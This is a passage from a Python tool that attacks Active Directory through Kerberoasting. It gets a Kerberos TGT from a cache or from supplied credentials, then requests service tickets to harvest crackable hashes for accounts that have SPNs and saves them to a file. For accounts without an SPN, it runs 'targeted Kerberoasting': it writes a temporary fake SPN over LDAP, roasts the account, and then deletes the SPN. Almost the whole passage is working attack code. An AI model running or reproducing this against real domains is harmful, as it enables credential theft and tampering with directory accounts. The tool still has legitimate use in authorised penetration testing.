    534             if os.path.exists(args.users_file):
    535                 with open(args.users_file, "r") as f:
    536                     users = get_users_and_SPNs(ldap_session=ldap_session, domain=args.auth_domain, usernames= [line.strip() for line in f])
    537         else:
    538             logger.info("Fetching usernames from Active Directory with LDAP")
    539             users = get_users_and_SPNs(ldap_session=ldap_session, domain=args.auth_domain)
    540 
    541         logger.debug(users)
    542 
    543         # First of all, we need to get a TGT for the user
    544         userName = Principal(args.auth_username, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
    545         if args.use_kerberos and not args.dc_host:
    546             target = get_machine_name(args.dc_ip, args.auth_domain)
    547         else:
    548             if args.use_kerberos:
    549                 target = args.dc_host
    550             else:
    551                 if args.dc_ip is not None:
    552                     target = args.dc_ip
    553                 else:
    554                     target = args.auth_domain
    555 
    556         TGT = TGS = None
    557         if args.use_kerberos and args.auth_aes_key is None:
    558             try:
    559                 ccache = CCache.loadFile(os.getenv('KRB5CCNAME'))
    560             except Exception as e:
    561                 pass
    562             else:
    563                 # retrieve domain information from CCache file if needed
    564                 if args.auth_domain == '':
    565                     domain = ccache.principal.realm['data'].decode('utf-8')
    566                     logger.debug('Domain retrieved from CCache: %s' % domain)
    567                 else:
    568                     domain = args.auth_domain
    569 
    570                 logger.debug('Using Kerberos Cache: %s' % os.getenv('KRB5CCNAME'))
    571                 principal = 'ldap/%s@%s' % (target.upper(), domain.upper())
    572 
    573                 creds = ccache.getCredential(principal)
    574                 if creds is None:
    575                     # Let's try for the TGT and go from there
    576                     principal = 'krbtgt/%s@%s' % (domain.upper(), domain.upper())
    577                     creds = ccache.getCredential(principal)
    578                     if creds is not None:
    579                         TGT = creds.toTGT()
    580                         logger.debug('Using TGT from cache')
    581                     else:
    582                         logger.debug('No valid credentials found in cache')
    583                 else:
    584                     TGS = creds.toTGS(principal)
    585                     logger.debug('Using TGS from cache')
    586 
    587                 # retrieve user information from CCache file if needed
    588                 if args.auth_username == '' and creds is not None:
    589                     user = creds['client'].prettyPrint().split(b'@')[0].decode('utf-8')
    590                     logger.debug('Username retrieved from CCache: %s' % user)
    591                 elif args.auth_username == '' and len(ccache.principal.components) > 0:
    592                     user = ccache.principal.components[0]['data'].decode('utf-8')
    593                     logger.debug('Username retrieved from CCache: %s' % user)
    594 
    595         if TGT is None:
    596             if TGS is None:
    597                 tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(clientName=userName, password=args.auth_password, domain=args.auth_domain, lmhash=None, nthash=auth_nt_hash,
    598                                                                         aesKey=args.auth_aes_key, kdcHost=args.dc_ip)
    599         else:
    600             tgt = TGT['KDC_REP']
    601             cipher = TGT['cipher']
    602             sessionKey = TGT['sessionKey']
    603 
    604         TGT = {}
    605         TGT['KDC_REP'] = tgt
    606         TGT['cipher'] = cipher
    607         TGT['sessionKey'] = sessionKey
    608 
    609         for user in users:
    610             # if user already as one or more SPNs
    611             if len(users[user]['spns']) != 0 and not args.only_abuse:
    612                 logger.debug("User (%s) has an SPN, kerberoasting now" % user)
    613                 krb5tgs = obtain_krb_hash(TGT=TGT, sAMAccountName=user, target_domain=(args.auth_domain if args.target_domain is None else args.target_domain), kdc_host=args.dc_ip)
    614                 handle_result(filename=args.output_file, result=krb5tgs, user=user)
    615             elif not args.no_abuse:
    616                 logger.debug("User (%s) has no SPN, attempting a targeted Kerberoasting now" % user)
    617                 temp_spn = 'somerandom/spn'
    618                 ldap_session.modify(users[user]['dn'], {'servicePrincipalName': [ldap3.MODIFY_REPLACE, [temp_spn]]})
    619                 try:
    620                     if ldap_session.result['result'] == 0:
    621                         logger.verbose('SPN added successfully for (%s)' % user)
    622                         krb5tgs = obtain_krb_hash(TGT=TGT, sAMAccountName=user, target_domain=(args.auth_domain if args.target_domain is None else args.target_domain), kdc_host=args.dc_ip)
    623                         handle_result(filename=args.output_file, result=krb5tgs, user=user)
    624                         ldap_session.modify(users[user]['dn'], {'servicePrincipalName': [ldap3.MODIFY_REPLACE, []]})
    625                         if ldap_session.result['result'] == 0:
    626                             logger.verbose('SPN removed successfully for (%s)' % user)
    627                         else:
    628                             if ldap_session.result['result'] == 50:
    629                                 logger.error('Could not modify (%s), the server reports insufficient rights' % user)
    630                             elif ldap_session.result['result'] == 19:
    631                                 logger.error('Could not modify (%s), the server reports a constrained violation' % user)
    632                             else:
    633                                 logger.error('The server returned an error')
    634                     else:
    635                         if ldap_session.result['result'] == 50:
    636                             logger.debug('Could not modify (%s), the server reports insufficient rights' % user)
    637                         elif ldap_session.result['result'] == 19:
    638                             logger.error('Could not modify (%s), the server reports a constrained violation' % user)
    639                         else:
    640                             logger.error('The server returned an error')
    641                 except Exception as e:
    642                     logger.debug("Got some exception: %s" % e)
    643                     if args.verbosity >= 1:
    644                         traceback.print_exc()
    645     except Exception as e:
    646         logger.error(str(e))
    647         if args.verbosity >= 1:
    648             traceback.print_exc()
    649 
    650 if __name__ == '__main__':
    651     args = parse_args()
    652     logger = Logger(args.verbosity, args.quiet)
    653     console = Console()
    654     main()